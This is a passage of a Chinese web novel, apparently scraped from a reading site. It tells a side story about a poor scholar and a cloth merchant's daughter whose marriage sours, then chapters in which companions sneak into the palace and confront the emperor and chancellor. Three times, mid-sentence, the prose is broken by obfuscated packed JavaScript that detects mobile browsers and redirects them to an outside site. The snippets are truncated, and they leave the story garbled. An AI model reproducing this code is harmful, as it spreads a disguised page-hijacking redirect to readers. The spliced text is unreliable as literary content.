书嘛,自然是动不得的,动了书还不如要了他的命。而傲骨嘛,因除了书,唯一剩下,便更觉珍贵与不可侮辱,于是也是万万不可摧折的。 故而,当两天未进水米,饿的只剩一副皮包骨头,一同备考的张柏林一听说街东有人乐善好施、支摊散粥,顿时双眼发亮,一跃而起!但转头,看到赵仕成眼底乌青、虚浮恍惚,却仍旧怀抱一本《礼记》,苍白起泡的嘴皮子一张一合,念念有词。 “赵兄!走啊!!街东发粥了!!!”张柏林以为这人已经饿傻了,耳朵都不行了。 “什么!你说啥!!”赵仕成说了句话,他没听清。 赵仕成:“我说,君子不受嗟来之食。” 他这一句话掷地有声,张柏林总算是听清了。又定睛一瞧,只见赵仕成说完后便闭上眼睛痛苦的大口喘息,想来这句话已经用尽了他所有的力气。 ……张柏林忽然打了个冷战。 近两年天灾频发,朝堂不兴,皇帝对科考一事也不大上心,于是从上到下,阴风顿起。本来嘛,按照他二人往年的成绩,入榜是完全没问题的,但谁知制度腐败,有机可乘,不少有权有势的、有后门的人,便趁此机会,硬生生使手段将他们从榜单前位挤了下来。 一次又一次,这转眼,就是落榜的第三次。 第九年。 苦读九年,落了又落,却仍不死心,抱着那堆不知已读过多少遍、不知在上面圈点出多少密密麻麻字迹的圣贤书,又报了第四次名。 当日“忠君报国、造福一方百姓”的豪情壮志,早就被几千个闻鸡起舞、点灯苦读的日子一点一点磋磨殆尽,鲜红的心头血,只怕也早就成了一口灰颓恶臭的陈年老垢。钱都拿去买了书,没有经济来源,二人的日子过的还不如天桥洞底那群乞丐。 张柏林环视这间破烂简陋、自己居住备考了九年的茅草屋,一时撼然,只觉黄粱一梦。 “我到底是为了什么呢?”他心道。 放眼瞧见自己那堆摆的整整齐齐、翻的书页发黄的圣贤书,他咬牙走近,忽地伸手,用尽全部力气扫过去。 书本重重坠落,乱七八糟散了一地,他心里好像也有什么禁锢着自己的执念散去,只觉豁然开朗。 赵仕成怔怔的看着他,他抱拳拱手,道:“赵兄,我走了。” 这一走,和以前不一样,就再也不回来了。 赵仕成心里清楚,悲戚无比,只可惜两天没吃没喝,到了此时,连一滴眼泪都哭不出来。 张柏林一狠心,使出最后一点力气,迈出门槛,头也不回的跌跌撞撞离开这里。 人生的意义不是四书五经,而是街东这头香甜的一碗暖粥。张柏林抱着碗,大口大口的囫囵下咽,热粥入胃,五脏六腑都熨帖起来,他简直幸福的想要流泪。 冷不防一抬头,在扎堆的难民群里看到一个熟悉的身影。 “赵兄???” 张柏林乐了:“你不是不来吗?” 赵仕成这人心狠,而且认死理,他要是决定的事,那可是九匹骡子十匹马都拉不回来。因此听到他不食嗟来之食的言论,张柏林虽惋惜,却也未劝一言——劝了,想必他也不肯听,反而会勃然大怒,来个割席断交之类。 没成想,此刻他竟自己过来了! “赵兄?赵兄?”怎么还不理人了呢? 莫非,是刚刚自己说话如此刚烈,可行为却恰恰相反,循着味来领取这嗟来之食,所以,此刻见到他,赵兄尴尬了? 如此想罢,张柏林索性一扭头,留个后背给赵仕成。 或许他眼不见,心也就不烦了,便能不难堪的、安安分分的喝上一口热粥。 “呵呵,人瘦得一把骨头撑着皮,心气却还不低呢。” 女子讥笑的声音落入耳中,张柏林听出来这就是刚刚在大锅旁为他打粥的那姑娘。 人嘛,缺什么的时候就想什么,贫苦的时候思财富,痛苦的时候求快乐,温饱的时候,那自然就偷偷翻一翻藏在床褥下的那本《花月宝鉴》、生一生□□。而张柏林,饿了这么些时候,早已饥肠辘辘,看着那锅香稠甜软的热粥,两眼恨不能发出绿油油的精光,□□这回事,早飞到了九天云外去。 是以方才那姑娘,穿着如何,容貌如何,他是半点也不知。 只记得她的声音,如云霄中的仙女般穿入他耳中:“饿得久了吧,我多舀些给你。” 张柏林感动的连天价点头,就盼这句话了! 此刻,一碗结实的热粥下肚,张柏林有了些力气,渐渐的觉得自己又活过来了,于是,刚刚被饥饿封印的花花肚肠也重新活泛起来,转一转眼珠,朝背后骨碌碌的一打量。 阿弥陀佛。 张柏林瞬间按捺下那颗有些萌动的春心。 这姑娘穿着朴素,灰扑扑的,包一方头巾,戴一块围裙。也难为她耗费家当在这里赈济灾民,心地倒善良,只是容貌嘛……阿弥陀佛,张柏林抹抹嘴,拣最好听了说,都仍旧平平无奇,且平平无奇的有些难看。 “快些趁热喝吧,锅里还有。”她将一只满当的大海碗放在地上。 “拿走。”虚弱却决绝的语气。 张柏林默默叹了口气。 “快趁热,凉了就不好喝了。” “我说了,拿走。”一字一字,咬牙切齿。 那女子本来就有些不满,强忍着软声哄了两句,却见他仍旧油盐不进,终于忍不住了:“你这人怎么这么不讲道理,天灾又不是人力能躲避的东西,这里的大家有哪个真的愿做难民?但真的到了这一步,又有什么办法?” “我不是难民,我是读、书、人!”那张苍白的脸蓦地愤怒。 女子道:“呵呵,读书人?亏你还是个读书人呢。” “人总有些时候有难处,这时有人帮一把,就能过得下去。你来我往,这是再正常不过的事,怎么到了你们这些读书人口中,就全然变了味?” “多谢姑娘好意,不必再说了,我意已决。” 女子一时气的冷笑,竟当真道了声好:“由你吧。” “唉唉唉姑娘!”张柏林不能不出手了。 “我算是看明白了,他这人啊,就是要面子。”他偷偷的对女子使个眼色,说,“能不能劳烦姑娘给他找个僻静地方,把粥碗往他身边一丢,然后就不用再管他。过一段时间再去收碗,我猜啊,他自会喝了它。” 女子有些疑惑的说:“当真吗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13060169|137687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?” 张柏林摸着撑的圆乎乎的肚子,心满意足的保证:“不能再真了!” 女子依他所言,果真寻了处僻静地方,将那读书人带过来,然后目不斜视的将粥碗往他身边一放。 女子一整日未管那碗粥,到了晚上过去一看,不禁“扑哧”一声笑出来。 粥碗果真空了! 她越想越乐,怎么天底下还有这样别扭的人物,不禁响亮笑出声。 忽听一旁有窸窸窣窣的响动,一细看,竟是白日里那个读书人蜷作一团坐在夜色中,像是睡着了,被她一笑,给吵醒了。 “天色已晚,读书人,怎么不回家睡?”女子忍住笑问。 赵仕成本来睡的迷糊,一听到她的声音,立马清醒,从地上弹起来。 尴尬许久,他瓮声瓮气道:“我是特意来等你的,今日……多谢你的那碗粥。” 又忙从胸口摸出一张字条:“这是我写给你的欠条,你看看,我不白吃,我终会还你的。” 女子叹口气,到底也接了:“好吧。” 看他穷困潦倒的模样,实在忍不住问了句:“你还年轻,有力气,天底下这么多可干的活儿,随便哪一样都能养得活自己,为什么非要读书呢?书里面到底有什么好?” 说起其他的,赵仕成讷讷无话说,可说起读书,赵仕成的眼睛就亮起来了。 “书中自有黄金屋,书中自有颜如玉。姑娘,可曾领悟过范仲淹先天下之忧而忧、后天下之乐而乐的襟怀,可曾神往过李杜笔落惊风雨、诗成泣鬼神的酣然,可曾见过落霞与孤鹜齐飞、秋水共长天一色的盛景,可曾向往过日出江花红胜火、春来江水绿如蓝的江南?” 女子听的一愣一愣,她自小未读过书,此时见他这样说,不免有几分好奇:“真的吗?小小的一卷书里面,装的下这么多东西?” 赵仕成双眼闪闪发亮,也不急着走了,拉着她:“姑娘,你坐,听我与你细说。” 赵仕成讲了一夜的诗。 张柏林乍闻此消息,痛心疾首:“讲了一晚上诗???那些时间,你做些什么不好???” “人家愿意跟你待一起,你却只是讲了一晚上诗???” 赵仕成说:“兰若她就喜欢听我讲诗。” 自打讲了那一个晚上的诗,赵仕成对那女子可谓相见恨晚,立刻引为知己。 经过交谈,赵仕成得知她叫杜兰若,在皇城经营一家小店,做布匹生意,此次来永州进货,却恰逢水灾,便打算在这里多停留一段时日,赈济难民。 杜兰若未读过书,那夜听赵仕成给她讲,书里面有各种好吃的、好玩的,有各种美丽的景色,还有许许多多心怀天下、为国为民的大人物。 她听的十分入迷,每日得了空,便去赵仕成的茅草屋找他。 每次来,她都不空手,都会带一些吃的,有时是一摞厚实的烙饼和一小捆大葱,有时是两只烤鸭和一瓶烧酒,有时是一大碗热气腾腾的白米饭,上面盖了烧茄子、炖鸡块。 一开始,赵仕成的清高劲又犯了,他愿白给她讲,可是她一带东西,他的脸立马就拉下来,把东西和她一起赶出门外。 杜兰若为此也十分生气,气的双唇颤抖、满眼泪花,觉得自己一片好心喂了驴肝肺,越想越委屈,不由在外面哭起来。 19. 番外一 这个时候,赵仕成又不安起来,唉声叹气的在茅草屋里来来回回走动,最终到底硬着头皮一开门,别别扭扭的把一只干净帕子递给她。 她不接:“谁稀罕!” 赵仕成愁眉苦脸,最终一横心,将她带来的饭拆开,狼吞虎咽吃的干干净净,低着头说:“对不住,我都吃完了,这下你别生气了吧。” 他吃的太急,脸上还黏着一粒米,看起来滑稽极了。 她看一眼,又破涕为笑。 渐渐的,她二人倒也形成了一种默契。 赵仕成不再拒绝杜兰若的食物,就当做是她听自己讲诗的报酬,杜兰若通过他讲的诗,也着实见识到了好多以往不知道的东西。 冬日里的天总是黑的早,这日黄昏,杜兰若收拾完赈济的摊子,已经有些晚。 赶到茅草屋中时,天已彻底黑了下来。 今日,赵仕成给她讲的是《诗经》。 “生死契阔,与子成说,执子之手,与子偕老。” 赵仕成与杜兰若讲解释义,杜兰若点点头,表示听懂了,可转念却又有些疑惑:“那他一个人不是要拉好多只手吗?” 赵仕成不解:“这是何意?” 杜兰若说:“执子之手,与子偕老,男子都是三妻四妾的,他娶了那么多女子,可不就是好执多只手吗!”说着,掩着嘴笑起来。 赵仕成愣了一下,而后十分郑重的一拂袖,道:“此言差矣,此言差矣!” “世间男人虽可三妻四妾,可是,还有一种人,他们并不花心,而是十分忠贞,追求‘一生一世一双人’。” “一生,一世,一双人。”杜兰若缓缓念了一遍,这个不需赵仕成解释,她也能理解。 念罢,她的眼睛亮起来:“这世间,真的会有一生一世一双人吗?” 外面寒风呼啸,虽然关紧了门,挂上了厚厚的门帘,可是,每年冬日,茅草屋还是冷的他们吸气不止、瑟瑟发抖。 但是今年又好像不一样,有杜兰若在这里,赵仕成每天晚上都亢奋非常,热血翻涌,讲起诗来一激动,竟连寒冷也忘了。 赵仕成看着满脸纯真期待的杜兰若,心头蓦然一股暖流划过。 不知怎的,说起话来开始结巴:“有、有的。” 杜兰若认真的看着他,说:“那你是吗?” 赵仕成愣了一下后,仍旧结结巴巴、却又坚定的答道:“我、我是。” 说完,只觉杜兰若万般温柔的凝视着他,她容貌平庸、甚至偏向丑陋,可是,此时烛光下的她脸颊绯红,睫毛颤动,赵仕成只觉她比这世上的任何女子都美丽。 “兰若,你、你跟了我吧!我会一辈子对你好的!” 他热血上头,竟不管不顾的喊出这一句。 喊完后才觉后悔起来,低下头,嗫嚅道:“只是我现在还未有功名,家境贫寒,你若跟了我,”想了想,苦笑:“只怕也是委屈了你。” 摇摇头:“对不住,冒犯了,你就当我是说胡话吧……” 他蓦然呆住了—— 杜兰若踮起脚尖,在他脸颊边亲了一口。 “兰若,你、你不嫌弃我!”赵仕成又开始结巴了。 杜兰若脸颊泛红,小声的说:“我不嫌弃你。你……你读了好多好多书,知道好多好多我不知道的事情,我喜欢听你讲诗,喜欢和你待在一起。” “可是,”赵仕成看着这片茅草屋,神情黯然,“我……” 杜兰若说:“我不嫌弃你穷,我知道,你有志气,虽会穷一时,却不会穷一辈子。” 男儿有泪不轻弹,可赵仕成却忍不住落下泪来。 他握紧她的手:“你放心。我赵仕成这一辈子,都不会背叛你、抛弃你,来日我飞黄腾达,我一定会让你过上好日子。” “兰若,你信我。” 杜兰若从梦中醒来,摸摸脸,竟是湿湿的。 “夫人,你醒了?”婢女轻手轻脚的扶起她,“老爷已经在外面跪了两个时辰了。” 杜兰若怔怔的看了眼这间屋子,装饰的富丽堂皇,黄金铸的烛台,波斯来的地毯,青玉和琉璃混合而成的珠帘,比当初的茅草屋要好上一万倍。 可是为什么,这一刻她竟然不想待在这里,而是想回到当年的那间茅草屋。 当年,他们住在小小的茅草屋中,他读书,她陪着他。 夏日炎热,多蚊虫,他读着书,而她拿一把蒲扇,在背后为他扇风、驱赶蚊虫。 不知什么时候她睡着了,梦中感到很清凉,醒来一看,他正温柔的注视着她,书也不读了,拿着蒲扇为她扇风。 冬天,天寒地冻,她搓洗着他的衣服,手指冻的红肿生疮,他将她的手握在自己手中,心疼的呵气,她心中甜蜜的忘了一切。 第二日再去洗衣服,发现他已偷偷将衣服提前洗好。 夜晚寒风呼啸,两个人瑟瑟发抖,裹着被子,紧紧的抱在一起。 他给她读诗,说水绿如蓝的江南,说烟花三月的扬州,他说,那里的冬天很暖和,以后有机会,他一定带她去看一看。 她怀孕了,可是最开始并不知道,仍旧挑水劈柴,重活一个不落。她流产了。 赵仕成又心疼又自责,狠狠的扇了自己几个耳光,哭着说:“兰若,我赵仕成,这一辈子永远都不会负了你。” 赵仕成啊赵仕成,到底为什么,为什么会变成了这样? “兰若!兰若!”赵仕成跪在外面,嗓子都喊哑了,“我错了,求求你原谅我吧,我再也不会了!” 杜兰若想,到底是什么时候开始,他变了? 真的是从昨日起吗? 当年她心悦他,不只因为他会给她读诗,还因为那时的他心有大志,他说,读书是为了忠君报国,是为了给天下万民谋福祉,说这话时他信誓旦旦,两眼充满神采。 可是曾几何时,他研究起了钱庄的生意,未料到竟真的小赚一笔,他兴致更大,投了更多钱进去,最后,竟真的赚的盆满钵满。 他们搬出了那座茅草屋,过上了再也不用挨饿受冻的日子。 生活好了,她劝他,再读书吧。 他嗯嗯啊啊的应着,可是,手中的书,两个时辰,一页都未翻过。 他渐渐丢掉了当日的那些书,再也不提参加科考之事。 他成为了一个游刃有余的商人,钱像滚雪球一般越滚越大,几十处地契,近百家商铺,出门在外,人人都唤他一句“赵员外”。 她是他的结发妻子,自然也受惠不少,摇身一变,穿上了绫罗绸缎,戴上了金簪银簪,穿衣打扮,饮食起居,无不由婢女贴心照料。 可是为什么,他们如今过的这样好,她却并不像当年在茅草屋中一般开心? “兰若!兰若!” 杜兰若深吸一口气,打开了门。 “兰若!”赵仕成一喜,忙膝行着来到她脚边,“你原谅我了?我保证,以后再也不会……” “赵仕成,我们都老了。” 赵仕成一愣,忙道:“兰若你和当年并无太多变化,我永远忘不了当年你和我共患难、同吃苦,兰若,我保证,以后一定再也不会背叛你,我保证,一生一世一双人,我一定会做到的,你相信我!” 杜兰若轻轻叹了口气,注视他许久,最后道:“你想让我原谅你也可以,只是,我怕你以后再去外面找他人。我当年流产伤了身子,无法再生育,若是你和其他女人生了孩子,把家业都交付给你的孩子,那我该何去何从呢?” 她说起流产,赵仕成鼻端一酸,当年,他是真的让她受了太多苦! “你把家里的宅子、店铺,都过继到我手上,这样,我抓着这些东西,心里也觉得踏实。” 赵仕成有些犹豫,这些年,在金银细软上他没有亏待过兰若,她想要多少便有多少,当然,这其中也有他知道她不喜奢华浪费的原因。 但那些地契、商铺,都是他真正的家产,若给了杜兰若,他手里从此就什么也没有了。 但转念一想,兰若此时正在气头上,所以才赌气想把家产都要到自己手上,等过一段日子她气消了,他再柔情蜜意哄她几句,家产自然也重新回到了自己手中。 况且,对杜兰若这个糟糠之妻,赵仕成是真的有几分真感情的,还是想留住她,不想和她就此撕破脸。 眼珠子骨碌碌转了好几圈,赵仕成最后一点头:“好,兰若,只要你原谅我,我赵仕成的一切,都是你的。” “更何况,”他笑嘻嘻道,“本来就是你的。我只是怕你疏于业务,有心无力,这才一直自己打理这些东西。我赵仕成努力了半辈子,就是为了让你过上好日子。” 杜兰若叹一口气:“你起来吧。” 所有过继的文书都签完时已是黄昏,赵仕成凑上去摸摸杜兰若的手,压低声:“兰若,你昨日哭了一整天,我今日也跪了一整天,我们都累了,今晚,就早些歇息吧。” 他和杜兰若也是好久未同房了,想来今夜卖些力气,好好伺候她一回,没过个几天,她就能消气了。 却见杜兰若忽地冷冷一笑,脸色一变,吩咐家丁道:“把这人赶出府。” 赵仕成蓦然心头一凉,刹那间想清前因后果,叫了出来:“杜兰若!你这个毒妇!” 她骗了他的家产!她这个混账东西!这个毒妇! 杜兰若仍在冷笑,可是笑意,却莫名的有些凄凉,眼角也有泪水渐渐渗出来。 赵仕成看事情有转机,连忙又放软了口气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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此后,也再也没有人见过他。 - 九年之后,扬州水灾。 皇上派了一位赵知府来赈灾,那赵知府十分有作为,亲自监督,确保赈灾的银钱和粮草不会被层层剥削,而是真正落到了每一个百姓手上。 并且,带领手下身先士卒,修补大堤,整治河道,挖渠引水,常常累的好几天都无法好好歇息。 提起他,百姓都十分称赞。 渐渐的,扬州水灾已基本平息,只剩了一些收尾的工作。 赵知府终于轻松一些,这日,他上街打包了几样家常小菜、两瓶小酒,想着待会儿,总算可以不急不慌的吃一顿饭。 路过一个街角,无意识扫了一眼。 突地,他僵住了。 百姓大都已恢复正常生活,领赈灾粮的人已不多,只稀稀拉拉几个。无所遮挡,赵知府很清楚的便看到那个女子。 她拿一只勺,从大锅中盛出慢慢一海碗的八宝粥,递给来领取的人,动作十分麻利,一个人离开,下一个人的粥也立马打好递了出去。 她容颜平庸,打扮朴素,可是,赵知府觉得,这世上,再也不会有其他女子能够美的过她。 故人西辞黄鹤楼,烟花三月下扬州。 赵知府的眼中,渐渐蓄满泪水。 他曾说过的,将来有机会,要带她来看一看扬州的春三月。 可是后来他回来找她,却得知赵府早已不在,她将那处府邸变卖做银钱,分发给贫苦的乞丐,而后,离开了那里。天下之大,他再也没有她的消息。 许是感受到有人在盯着自己,那女子抬起头来。 两两相望,她明显一愣。 但随即,神情又渐渐变得释然,眼角眉梢,也渐渐变得柔和。 最后,扑哧一声,相视而笑。 赵知府刹那间浑身轻快起来,多年前一个心结,仿佛悄无声息的消失在了数年光阴中。 “赵知府?您是赵知府?”背后有百姓认出他,欣喜的叫出来。 他转身与百姓攀谈几句,得知百姓已没有什么困难,欣慰的点了点头,再次转向那边。 这次,他愣住了。 她已舀完了那几个百姓的粥,利落的收拾好摊子离开,只余下一片空空荡荡。 天下之大。 天下之大。 赵知府一动不动的原地站立许久,最后,只见两行清泪潸然而下。 原来,有些恩仇可以泯灭,有些宿怨可以化解。但有些东西,一旦失去,就此生再也回不到最初。 20. 第18章 正值黄昏,残阳如火,映出皇城中一片热闹与繁华。 有容师姐的那本书,正指向不远处巍峨森严的皇宫。几人找了个卖胡辣汤的小吃铺,一边点了几碗汤喝,一边向这卖汤的老伯打听道:“老人家,若我们想进皇宫,可有什么法子吗?” 那老伯瞧他们风尘仆仆,便乐呵道:“几位是从外地来的吧?” “想进皇宫呢,也不难。或是有什么奇珍异宝要进献,或是有什么皇亲国戚要相认,还有一种法子,最为简单,也最为奏效。”老伯说到这里,便十分的感慨。 东街这边,一向是各种卖鱼虾的、卖猪肉的、卖汤卖面卖这些零乱吃食等的摊子所在地。大家都知道这里是干什么的,想吃什么就直接过来,生活十分方便。 可是日久天长,也有许多问题暴露出来。 首先,这条街不是那卖面的郑二家的、也不是那卖猪肉的王三家的,这条街是皇上家的,这普天之下都是皇上家的。这样带来的结果就是,人人都以为这街又不是你家的,你不许管着我,我也不对你负责。如果你硬要管我,好说,请皇上来。 但是,谁都知道皇上是不可能来到这样一个小小角落的。 故,这街虽自由,却缺少管束。 这些摊主们,今日,我嫌你多占了一尺的位置,明日,你嫌我挡住了大门口的招牌,如此以往,大家整天骂骂咧咧、吵吵嚷嚷。 其次,因缺少管束,卫生问题也逐渐严重。切肉时溅出来的骨头沫、卖剩的烂菜、发臭的咸鱼,这些通通都堆积到了街上。一开始大家还比较自觉的清扫自己弄出来的垃圾,后来,见有些人弄脏了街面,却啥也不管,于是渐渐觉得不愤,凭啥你不扫,就得我扫? 于是后来,谁都不愿意扫了。 这条街的火药味越来越浓,谁也看谁不顺眼,同时垃圾越堆越多,臭气熏天,渐渐的,这里简直不是人住的地方。 老伯当时还年轻,刚刚搬来街东,有一腔雄心壮志,要把自己的胡辣汤生意发扬光大,眼见这样烂下去也不是个办法。刚巧,当时皇帝颁布了一条法令,说是寻常百姓、若是有什么安邦定国的良策,不论大小,都可直接来皇宫向朕陈明。 老伯当时心一横,想这街东虽只是小小的一片地方,但也属于这个国家的一部分。 街东的安定,那么也属于国家的安定了? 老伯于是就去皇宫进见皇上了。 “那您见到皇上了吗?”段匆听的津津有味,这民间的故事,倒真是烟火气十足。 老伯故作矜持的一笑:“那是自然了。” 他当时虽大着胆子去了皇宫,心里却还是有些惴惴不安的。皇帝九五之尊,高高在上,他跪在朝堂下,双腿发软,头都不敢抬,但终于,还是鼓起勇气将街东的麻烦说了出来。 没想到,皇上龙心大悦,鼓励他敢于发言。 当即就派人整顿街东,并且,还特意命人研磨铺纸,当场赐了一块牌匾给他。 几人抬头,果真看到老伯铺子上,挂着一块金光闪闪的牌子。那上面“街东第一汤”几个大字,十分俊秀工整,让人能想象到写字之人一笔一划的认真姿态。 “唉,只是可惜……”老伯忽然又长叹一口气。 “老伯,这是何意呢?” 老伯叹道:“只是可惜,当日我带着这匾回来,却谁都不信这是皇上亲笔赐的字。” “啊?这是为何呢?” 老伯幽幽道:“大家都笑话说,皇上的字苍劲有力,泼洒豪放,怎会是这般一笔一划如小儿临摹?” 这倒果真。 可是,老伯见到的,又的确是皇帝啊? 只听老伯幽幽道:“原来那段时日皇帝染了风寒,代为上朝的,乃是太子殿下。” 芝麻大小的事也可以进宫向皇上陈诉苦衷,这命令,是当时代为理国的太子殿下颁发的。 那块牌匾,也是太子殿下赐的。 “怪不得如此儿戏,待皇帝风寒痊愈,见到太子治国如此琐碎,必然怒而止之吧。”段匆道,转而有些发愁:“那如今,我们便不能随便找个有关‘安邦定国’的问题进宫了?那该怎么办呢?” 老伯大笑道:“非也!非也啊!” “几位岂不知,一朝天子一朝臣的道理?” 大家恍然大悟。 对啊!这么多年了,那皇位上坐的,早就换了一茬人! 如今的皇帝景琰,不正是当年那赐字的太子吗? “那便好,我们找个理由,今夜就可以进宫了!” 老伯十分珍惜的擦拭着自己的牌匾,和他们笑呵呵的道别:“几位若有工夫,改日再来喝小老儿这胡辣汤。” 这汤辛辣劲道,色香俱全,一碗下肚,身心都暖和熨帖起来,果真配得上“街东第一汤”的名号。几人都道:“一定一定。” 到了威严的皇宫大门前,守门的侍卫拦住他们:“这么晚了,干什么的?” 周浮生郑重道:“我们有一条安邦定国的良策。” 侍卫:“……什么?” 周浮生:“我们要禀报皇上,昨天夜里,我们家的猪,不知道被谁偷走了半扇!” 侍卫嘴角抽搐。 周浮生继续严肃道:“凶手还在逍遥法外,我们寝食难安啊,而一个小家的安定,便是整个国家的安定啊!所以,为了国之安危,我们务必要面见圣上,将此事如是禀报。” 侍卫:“……” 真是草了他娘了。 此等草民,把皇宫当什么乱七八糟牛鬼神蛇都可以来的地方? 可偏偏,他还真得让他们进,因为这的确,是皇上的命令。皇上曾说过,前来皇宫进见、怀有安邦定国良策的百姓,无论计策大小,通通不可随意欺侮。 侍卫将他们搜了一番身,道:“进吧进吧!” “唉,等等?”他们刚踏入门中,侍卫忽然又狐疑的在背后叫住了他们。 周浮生谄媚笑道:“官爷,怎的?” “你,过来。” 谢蕴顿了一下,然后顺从的来到那侍卫面前。侍卫将他打量好几眼,又重新搜了一遍他的身,确实是没什么问题,便“嘶”了两声,道:“老人家一把年纪,为半扇猪颤巍巍的来皇宫一趟,不容易啊。” 谢蕴伤感道:“官爷,半扇猪,就是小人一家子一年到头的指望啊。” “行了,进去吧!” 好歹是混了过去。 一路上,段匆瞧着谢蕴的打扮:面容苍老、须发全白,拄着一根拐杖,深深的低着头,腰背几乎都要佝偻到地上去。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13060171|137687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “谢公子,你怎么突然要这样易容起来呢?……那个,我瞧不见你英俊的脸庞,心里真闷的慌。” 谢蕴冷冷道:“放心,一时半会儿,闷不死你。” 段匆瞧见周浮生脸色不好,觉得目的已经达到,笑眯眯的、适可而止停了口。 其实,谢蕴之所以这样做,也不难猜到缘由。 他爹既曾是丞相,那么他自己或多或少也和朝廷的人打过交道。此行他们追寻狐妖和有容师姐的踪迹,为避免被认出、牵连到他爹,如此打扮,确实省事许多。 因今日天色已晚,他们被安排了住处,待明日早朝便可以见到皇上。 但当然,见皇帝并不是此行的目的。此行的重点,不在明早,就在今夜。 月黑风高,房门被悄悄打开一条缝,几人跟着有容师姐那本书的指引,一路躲过巡逻的禁卫军,最终,来到了一处宫殿门前。抬头看,上面一块朱红色的牌匾,写着“议殿”。 “书就指着这里面,”周浮生道,转而看到牌匾上的字:“议殿,这是干什么的?” “皇上与臣子谈论国事的地方。”谢蕴说道:“不过这么晚了,皇上应该歇下了。” 也就是说,此刻里面是没有人的。 周浮生还特意从门缝中瞥了瞥,只觉里面确实黑通通的,也没什么声响。 “可是有容师姐最后的踪迹为什么会在这里?”段匆有些不理解。 师姐去追拿狐妖,最后却来到了皇宫里,还是在皇上讨论国事的地方?难道是狐妖打不过师姐,一路逃窜,最后逃来了这里、师姐追着他过来的?可他要逃命,也该往妖怪多的地方逃,怎么反而拣了个人世间最森严庄重、最容不下妖怪的地方?千头万绪,不知从何追究起,段匆伸手,道:“我开门了。” “嗯!”另外三人都点点头。 议殿的门徐徐打开。 段匆脑中乱糟糟的,还不知出现在眼前的会是什么。或许是狐妖的尸体,还有受伤无法行动、所以暂时留在这里的有容师姐;抑或是狐妖赢了有容师姐,杀了她,将她的尸体丢在了这里面?不不不,应该不会吧…… 所有的想法都在看清面前这一幕时戛然而止。 段匆目瞪口呆。 身边的三人同样震惊的瞪大了双眼。 诡异的安静了好一会,还是谢蕴首先反应过来,跪在地上,热泪盈眶的叩首道:“草民,拜见皇上!拜见丞相!” “……” “……” “……” 原来这里面,并不是乌漆嘛黑,而是点着一只蜡烛。只是烛光太微弱,议殿又太大太空旷,所以从外面看去,好像没有灯光一样。 而里面,也并不是没有人,而是皇上和丞相正在议事,只是两人声音很低,所以从外面听来,好像静悄悄一样。 段匆跪在地上,偷偷打量议殿中的环境,这殿堂虽大,但陈列极其简单,只有一张书桌,上面摆放着一张棋盘,黑子与白子密密麻麻、错综复杂,看来这小皇帝和丞相刚才下棋下的很是酣畅焦灼,还未分出胜负。 除此之外,就没什么别的东西了。 ——狐妖不在,师姐也不在。 可按照寻踪之术,师姐最后一次出现的地方,明明就是这里。 21. 第19章 可真是太奇怪了。 段匆皱着眉头,不得其解,正在这时,她听到一个温和的声音道:“都起来吧。” 段匆站起来,看到说话的人着一身明黄衫袍,眉眼清秀宁静。而他身旁的人,似笑非笑,神色睥睨,烛光下,一身绛红色官服红的有些刺眼。 ——皇帝景琰,丞相司徒月华。 “朕听闻你们丢失了半扇猪。”景琰道。 一到此时,段匆就觉得他们这进宫的理由编的多么懒惰、多么不堪、多么龌龊!从这样一个九五之尊的口中说出“半扇猪”这样的话,多么的不合情理,多么的糟蹋他的身份!还好,景琰似乎并不觉得有什么,神情还十分关切的样子。 司徒月华意味不明的嗤笑一声。 段匆硬着头皮答:“是,昨天夜里,不知道是谁将半扇猪偷去了。” “既如此,那便派出暗卫高手、外加刑部、外加大理寺,一定将你那猪半根毫毛都不伤的追回来。”司徒月华淡淡道,听不出是讽刺还是真心。 不知为什么,段匆觉得头上有点渗汗。 “老头子真是谢陛下、谢丞相了,陛下与丞相之恩德,老头子感激涕零、没齿难忘啊。”这次是谢蕴抬头说道,余光中,段匆觉得他很用力的看了看司徒月华的绛红官袍,又晦暗不明的瞥了好几眼景琰。 段匆有种直觉,再待下去保不准要有什么事发生,便恭恭敬敬道:“那我们就先走了。” 景琰微笑道:“允。” 段匆忙站起来,笑呵呵的准备溜之大吉。 宁芙离门最近,侧过身道:“师兄,你先走。” 这种时候,周浮生也顾不上什么风度不风度的东西,今晚好像挺正常的,但又总觉得哪里怪怪的,反正有容不在这里,还是先撤,再从长计议吧。他一甩袖子,匆匆的走出去。 宁芙嫣然一笑,跟在他身后而出。 段匆和谢蕴最后要出,只是此时,门忽然毫无预兆的,砰一声关上了。 段匆心里一惊,迅速的转过头去。只见那景琰还保持着方才的笑意,只是此刻,那笑意已不再安然平和,而是说不出的渗人,烛火下,那双眼睛,一闪而过一种阴毒的光芒。 “司、司徒丞相,皇上这是、这是怎么了……” 却见司徒月华,阴冷而又玩味的笑了一下。 完了,这两人像是一伙的! 段匆脱口道:“小心……” 那盏蜡烛猛地熄灭,黑暗中,一枚棋子落入棋盘的声音清晰可闻。 